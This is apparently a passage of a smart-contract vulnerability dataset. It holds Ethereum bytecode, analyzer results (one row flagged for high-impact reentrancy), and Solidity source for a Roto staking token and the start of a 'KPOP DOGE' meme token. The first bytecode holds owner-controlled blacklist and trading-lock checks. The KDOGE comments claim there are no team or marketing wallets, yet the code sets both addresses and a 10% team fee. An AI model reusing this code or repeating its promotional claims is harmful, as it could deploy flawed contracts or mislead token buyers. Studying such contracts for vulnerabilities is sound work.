1600020805460ff19169115159190911790558061099f81611b9c565b915050610939565b50505050565b6000546001600160a01b031633146109d75760405162461bcd60e51b81526004016105cb90611b3b565b601755565b6000546001600160a01b03163314610a065760405162461bcd60e51b81526004016105cb90611b3b565b6001600160a01b038116610a6b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105cb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105cb565b6001600160a01b038216610b895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105cb565b6001600160a01b038216610cb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105cb565b60008111610d125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105cb565b6000546001600160a01b03848116911614801590610d3e57506000546001600160a01b03838116911614155b1561101f57601554600160a01b900460ff16610dd7576000546001600160a01b03848116911614610dd75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105cb565b601654811115610e295760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105cb565b6001600160a01b03831660009081526010602052604090205460ff16158015610e6b57506001600160a01b03821660009081526010602052604090205460ff16155b610ec35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105cb565b6015546001600160a01b03838116911614610f485760175481610ee58461079e565b610eef9190611bb7565b10610f485760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105cb565b6000610f533061079e565b601854601654919250821015908210610f6c5760165491505b808015610f835750601554600160a81b900460ff16155b8015610f9d57506015546001600160a01b03868116911614155b8015610fb25750601554600160b01b900460ff165b8015610fd757506001600160a01b03851660009081526005602052604090205460ff16155b8015610ffc57506001600160a01b03841660009081526005602052604090205460ff16155b1561101c5761100a8261121e565b47801561101a5761101a47611160565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061106157506001600160a01b03831660009081526005602052604090205460ff165b8061109357506015546001600160a01b0385811691161480159061109357506015546001600160a01b03848116911614155b156110a05750600061111a565b6015546001600160a01b0385811691161480156110cb57506014546001600160a01b03848116911614155b156110dd57600854600c55600954600d555b6015546001600160a01b03848116911614801561110857506014546001600160a01b03858116911614155b1561111a57600a54600c55600b54600d555b6109a7848484846113a7565b6000818484111561114a5760405162461bcd60e51b81526004016105cb919061195b565b5060006111578486611bcf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561063c573d6000803e3d6000fd5b60006006548211156112015760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105cb565b600061120b6113d5565b905061121783826113f8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126657611266611b70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112ba57600080fd5b505afa1580156112ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f29190611be6565b8160018151811061130557611305611b70565b6001600160a01b03928316602091820292909201015260145461132b9130911684610ac6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611364908590600090869030904290600401611c03565b600060405180830381600087803b15801561137e57600080fd5b505af1158015611392573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113b4576113b461143a565b6113bf848484611468565b806109a7576109a7600e54600c55600f54600d55565b60008060006113e261155f565b90925090506113f182826113f8565b9250505090565b600061121783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061159d565b600c5415801561144a5750600d54155b1561145157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061147a876115cb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ac9087611628565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114db908661166a565b6001600160a01b0389166000908152600260205260409020556114fd816116c9565b6115078483611713565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161154c91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061157982826113f8565b8210156115945750506006549266038d7ea4c6800092509050565b90939092509050565b600081836115be5760405162461bcd60e51b81526004016105cb919061195b565b5060006111578486611c74565b60008060008060008060008060006115e88a600c54600d54611737565b92509250925060006115f86113d5565b9050600080600061160b8e87878761178c565b919e509c509a509598509396509194505050505091939550919395565b600061121783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611126565b6000806116778385611bb7565b9050838110156112175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105cb565b60006116d36113d5565b905060006116e183836117dc565b306000908152600260205260409020549091506116fe908261166a565b30600090815260026020526040902055505050565b6006546117209083611628565b600655600754611730908261166a565b6007555050565b6000808080611751606461174b89896117dc565b906113f8565b90506000611764606461174b8a896117dc565b9050600061177c826117768b86611628565b90611628565b9992985090965090945050505050565b600080808061179b88866117dc565b905060006117a988876117dc565b905060006117b788886117dc565b905060006117c9826117768686611628565b939b939a50919850919650505050505050565b6000826117eb57506000610651565b60006117f78385611c96565b9050826118048583611c74565b146112175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105cb565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079b57600080fd5b803561189181611871565b919050565b600060208083850312156118a957600080fd5b823567ffffffffffffffff808211156118c157600080fd5b818501915085601f8301126118d557600080fd5b8135818111156118e7576118e761185b565b8060051b604051601f19603f8301168101818110858211171561190c5761190c61185b565b60405291825284820192508381018501918883111561192a57600080fd5b938501935b8285101561194f5761194085611886565b8452938501939285019261192f565b98975050505050505050565b600060208083528351808285015260005b818110156119885785810183015185820160400152820161196c565b8181111561199a576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156119c357600080fd5b82356119ce81611871565b946020939093013593505050565b6000806000606084860312156119f157600080fd5b83356119fc81611871565b92506020840135611a0c81611871565b929592945050506040919091013590565b600060208284031215611a2f57600080fd5b813561121781611871565b8035801515811461189157600080fd5b600060208284031215611a5c57600080fd5b61121782611a3a565b600060208284031215611a7757600080fd5b5035919050565b600080600060408486031215611a9357600080fd5b833567ffffffffffffffff80821115611aab57600080fd5b818601915086601f830112611abf57600080fd5b813581811115611ace57600080fd5b8760208260051b8501011115611ae357600080fd5b602092830195509350611af99186019050611a3a565b90509250925092565b60008060408385031215611b1557600080fd5b8235611b2081611871565b91506020830135611b3081611871565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb057611bb0611b86565b5060010190565b60008219821115611bca57611bca611b86565b500190565b600082821015611be157611be1611b86565b500390565b600060208284031215611bf857600080fd5b815161121781611871565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c535784516001600160a01b031683529383019391830191600101611c2e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611cb057611cb0611b86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d625805011730c05a9ba8507564974b0ff07ecefb597e9ef1b0ef8024c96b06064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,330 |
0xea3286a9a799522b174300713fc1e93202a78eda
|
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract RotoToken is StandardToken {
string public constant name = "Roto"; // token name
string public constant symbol = "ROTO"; // token symbol
uint8 public constant decimals = 18; // token decimal
uint256 public constant INITIAL_SUPPLY = 21000000 * (10 ** uint256(decimals));
address owner;
address roto = this;
address manager;
// keeps track of the ROTO currently staked in a tournament
// the format is user address -> the tournament they staked in -> how much they staked
mapping (address => mapping (bytes32 => uint256)) stakes;
uint256 owner_transfer = 2000000 * (10** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
modifier onlyOwner {
require(msg.sender==owner);
_;
}
modifier onlyManager {
require(msg.sender==manager);
_;
}
event ManagerChanged(address _contract);
event RotoStaked(address _user, uint256 stake);
event RotoReleased(address _user, uint256 stake);
event RotoDestroyed(address _user, uint256 stake);
event RotoRewarded(address _contract, address _user, uint256 reward);
constructor() public {
owner = msg.sender;
totalSupply_ = INITIAL_SUPPLY;
balances[roto] = INITIAL_SUPPLY;
emit Transfer(0x0, roto, INITIAL_SUPPLY);
}
/**
* @dev A function that can only be called by RotoHive, transfers Roto Tokens out of the contract.
@param _to address, the address that the ROTO will be transferred to
@param _value ROTO, amount to transfer
@return - whether the Roto was transferred succesfully
*/
function transferFromContract(address _to, uint256 _value) public onlyOwner returns(bool) {
require(_to!=address(0));
require(_value<=balances[roto]);
require(owner_transfer > 0);
owner_transfer = owner_transfer.sub(_value);
balances[roto] = balances[roto].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(roto, _to, _value);
return true;
}
/**
@dev updates the helper contract(which will manage the tournament) with the new version
@param _contract address, the address of the manager contract
@return - whether the contract was successfully set
*/
function setManagerContract(address _contract) external onlyOwner returns(bool) {
//checks that the address sent isn't the 0 address, the owner or the token contract
require(_contract!=address(0)&&_contract!=roto);
// requires that the address sent be a contract
uint size;
assembly { size := extcodesize(_contract) }
require(size > 0);
manager = _contract;
emit ManagerChanged(_contract);
return true;
}
/**
@dev - called by the manager contract to add back to the user their roto in the event that their submission was successful
@param _user address, the address of the user who submitted the rankings
@param _tournamentID identifier
@return boolean value, whether the roto were successfully released
*/
function releaseRoto(address _user, bytes32 _tournamentID) external onlyManager returns(bool) {
require(_user!=address(0));
uint256 value = stakes[_user][_tournamentID];
require(value > 0);
stakes[_user][_tournamentID] = 0;
balances[_user] = balances[_user].add(value);
emit RotoReleased(_user, value);
return true;
}
/**
@dev - function called by manager contract to process the accounting aspects of the destroyRoto function
@param _user address, the address of the user who's stake will be destroyed
@param _tournamentID identifier
@return - a boolean value that reflects whether the roto were successfully destroyed
*/
function destroyRoto(address _user, bytes32 _tournamentID) external onlyManager returns(bool) {
require(_user!=address(0));
uint256 value = stakes[_user][_tournamentID];
require(value > 0);
stakes[_user][_tournamentID] = 0;
balances[roto] = balances[roto].add(value);
emit RotoDestroyed(_user, value);
return true;
}
/**
@dev - called by the manager contract, runs the accounting portions of the staking process
@param _user address, the address of the user staking ROTO
@param _tournamentID identifier
@param _value ROTO, the amount the user is staking
@return - whether the staking process went successfully
*/
function stakeRoto(address _user, bytes32 _tournamentID, uint256 _value) external onlyManager returns(bool) {
require(_user!=address(0));
require(_value<=balances[_user]);
require(stakes[_user][_tournamentID] == 0);
balances[_user] = balances[_user].sub(_value);
stakes[_user][_tournamentID] = _value;
emit RotoStaked(_user, _value);
return true;
}
/**
@dev - called by the manager contract, used to reward non-staked submissions by users
@param _user address, the address that will receive the rewarded ROTO
@param _value ROTO, the amount of ROTO that they'll be rewarded
*/
function rewardRoto(address _user, uint256 _value) external onlyManager returns(bool successful) {
require(_user!=address(0));
require(_value<=balances[roto]);
balances[_user] = balances[_user].add(_value);
balances[roto] = balances[roto].sub(_value);
emit RotoRewarded(roto, _user, _value);
return true;
}
/**
@dev - to be called by the manager contract to check if a given user has enough roto to
stake the given amount
@param _user address, the address of the user who's attempting to stake ROTO
@param _value ROTO, the amount they are attempting to stake
@return - whether the user has enough balance to stake the received amount
*/
function canStake(address _user, uint256 _value) public view onlyManager returns(bool) {
require(_user!=address(0));
require(_value<=balances[_user]);
return true;
}
/**
@dev Getter function for manager
*/
function getManager() public view returns (address _manager) {
return manager;
}
/**
@dev - sets the owner address to a new one
@param _newOwner address
@return - true if the address was changed successful
*/
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
owner = _newOwner;
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e35780631a88f3061461020a57806323b872dd1461022e5780632afbbacb146102585780632ff2e9dc1461027c578063313ce56714610291578063362f8833146102bc5780633cc136e0146102e357806357895ca214610307578063661884631461032857806370a082311461034c57806395d89b411461036d578063a6f9dae114610382578063a9059cbb146103a3578063af8b0ec7146103c7578063d5009584146103eb578063d560f6961461041c578063d73dd62314610440578063dd62ed3e14610464575b600080fd5b34801561012d57600080fd5b5061013661048b565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cf600160a060020a03600435166024356104c2565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b506101f8610528565b60408051918252519081900360200190f35b34801561021657600080fd5b506101cf600160a060020a036004351660243561052e565b34801561023a57600080fd5b506101cf600160a060020a036004358116906024351660443561066c565b34801561026457600080fd5b506101cf600160a060020a03600435166024356107e3565b34801561028857600080fd5b506101f8610840565b34801561029d57600080fd5b506102a661084f565b6040805160ff9092168252519081900360200190f35b3480156102c857600080fd5b506101cf600160a060020a0360043516602435604435610854565b3480156102ef57600080fd5b506101cf600160a060020a0360043516602435610970565b34801561031357600080fd5b506101cf600160a060020a0360043516610a7c565b34801561033457600080fd5b506101cf600160a060020a0360043516602435610b40565b34801561035857600080fd5b506101f8600160a060020a0360043516610c30565b34801561037957600080fd5b50610136610c4b565b34801561038e57600080fd5b506101cf600160a060020a0360043516610c82565b3480156103af57600080fd5b506101cf600160a060020a0360043516602435610ccd565b3480156103d357600080fd5b506101cf600160a060020a0360043516602435610dae565b3480156103f757600080fd5b50610400610ed5565b60408051600160a060020a039092168252519081900360200190f35b34801561042857600080fd5b506101cf600160a060020a0360043516602435610ee4565b34801561044c57600080fd5b506101cf600160a060020a0360043516602435610fe4565b34801561047057600080fd5b506101f8600160a060020a036004358116906024351661107d565b60408051808201909152600481527f526f746f00000000000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600354600090600160a060020a0316331461054857600080fd5b600160a060020a038316151561055d57600080fd5b600454600160a060020a031660009081526020819052604090205482111561058457600080fd5b60075460001061059357600080fd5b6007546105a6908363ffffffff6110a816565b600755600454600160a060020a03166000908152602081905260409020546105d4908363ffffffff6110a816565b600454600160a060020a03908116600090815260208190526040808220939093559085168152205461060c908363ffffffff6110ba16565b600160a060020a0380851660008181526020818152604091829020949094556004548151878152915192949316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b6000600160a060020a038316151561068357600080fd5b600160a060020a0384166000908152602081905260409020548211156106a857600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156106d857600080fd5b600160a060020a038416600090815260208190526040902054610701908363ffffffff6110a816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610736908363ffffffff6110ba16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610778908363ffffffff6110a816565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600554600090600160a060020a031633146107fd57600080fd5b600160a060020a038316151561081257600080fd5b600160a060020a03831660009081526020819052604090205482111561083757600080fd5b50600192915050565b6a115eec47f6cf7e3500000081565b601281565b600554600090600160a060020a0316331461086e57600080fd5b600160a060020a038416151561088357600080fd5b600160a060020a0384166000908152602081905260409020548211156108a857600080fd5b600160a060020a0384166000908152600660209081526040808320868452909152902054156108d657600080fd5b600160a060020a0384166000908152602081905260409020546108ff908363ffffffff6110a816565b600160a060020a03851660008181526020818152604080832094909455600681528382208783528152908390208590558251918252810184905281517fe153387693efb5c934c41f1bf7cb6ede6331a67cb182536524ada21717dc1be4929181900390910190a15060019392505050565b6005546000908190600160a060020a0316331461098c57600080fd5b600160a060020a03841615156109a157600080fd5b50600160a060020a03831660009081526006602090815260408083208584529091528120549081116109d257600080fd5b600160a060020a038085166000908152600660209081526040808320878452825280832083905560045490931682528190522054610a16908263ffffffff6110ba16565b600454600160a060020a0390811660009081526020818152604091829020939093558051918716825291810183905281517f89b6096c8def713e4534f4ec76ebe28f7372d5befb9ceef6010c8ec7475646c0929181900390910190a15060019392505050565b6003546000908190600160a060020a03163314610a9857600080fd5b600160a060020a03831615801590610abe5750600454600160a060020a03848116911614155b1515610ac957600080fd5b50813b60008111610ad957600080fd5b60058054600160a060020a03851673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f198db6e425fb8aafd1823c6ca50be2d51e5764571a5ae0f0f21c6812e45def0b9181900360200190a150600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610b9557336000908152600260209081526040808320600160a060020a0388168452909152812055610bca565b610ba5818463ffffffff6110a816565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600481527f524f544f00000000000000000000000000000000000000000000000000000000602082015281565b600354600090600160a060020a03163314610c9c57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03939093169290921790915590565b6000600160a060020a0383161515610ce457600080fd5b33600090815260208190526040902054821115610d0057600080fd5b33600090815260208190526040902054610d20908363ffffffff6110a816565b3360009081526020819052604080822092909255600160a060020a03851681522054610d52908363ffffffff6110ba16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600554600090600160a060020a03163314610dc857600080fd5b600160a060020a0383161515610ddd57600080fd5b600454600160a060020a0316600090815260208190526040902054821115610e0457600080fd5b600160a060020a038316600090815260208190526040902054610e2d908363ffffffff6110ba16565b600160a060020a038085166000908152602081905260408082209390935560045490911681522054610e65908363ffffffff6110a816565b60048054600160a060020a03908116600090815260208181526040918290209490945591548251908216815290861692810192909252818101849052517f7af87d33833ea40c51ff501965e940087a6b808e15eb993bafd4b7d066caee9f9181900360600190a150600192915050565b600554600160a060020a031690565b6005546000908190600160a060020a03163314610f0057600080fd5b600160a060020a0384161515610f1557600080fd5b50600160a060020a0383166000908152600660209081526040808320858452909152812054908111610f4657600080fd5b600160a060020a038416600081815260066020908152604080832087845282528083208390559282528190522054610f84908263ffffffff6110ba16565b600160a060020a0385166000818152602081815260409182902093909355805191825291810183905281517f689dc1bc77313e4cd787777c3e975ff2110d0a60c2532e54d3ddf324eb66070d929181900390910190a15060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054611018908363ffffffff6110ba16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156110b457fe5b50900390565b818101828110156110c757fe5b929150505600a165627a7a72305820abd4e12f74307fa148c4b5af3f61ad94c22b454e0189eae7b510593d702707b00029
|
{"success": true, "error": null, "results": {}}
| 3,331 |
0x03b9d98a98bf3243f8124b2157a3f4d64d005f28
|
/**
*Submitted for verification at Etherscan.io on 2021-07-23
*/
/*
KPOP DOGE ($KDOGE) aims to be ETH and Uniswap's next viral meme token.
Name: KPOP DOGE
Symbol: KDOGE
Total Supply: 1,000,000,000,000
Decimals: 9
No Presale. Developer provides 4 ETH for LP
No Team Tokens. No Dev Tokens.
Locked LP
15% Redistribution to holders and team
100% Fair Launch
- Buy Limit: 1% for first 2 minutes.
- Cooldown: 45 seconds to prevent multiple buying in one block.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Telegram: https://t.me/KpopDoge
Website: https://kpopdoge.com
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KPOPDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KPOP DOGE";
string private constant _symbol = "KDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
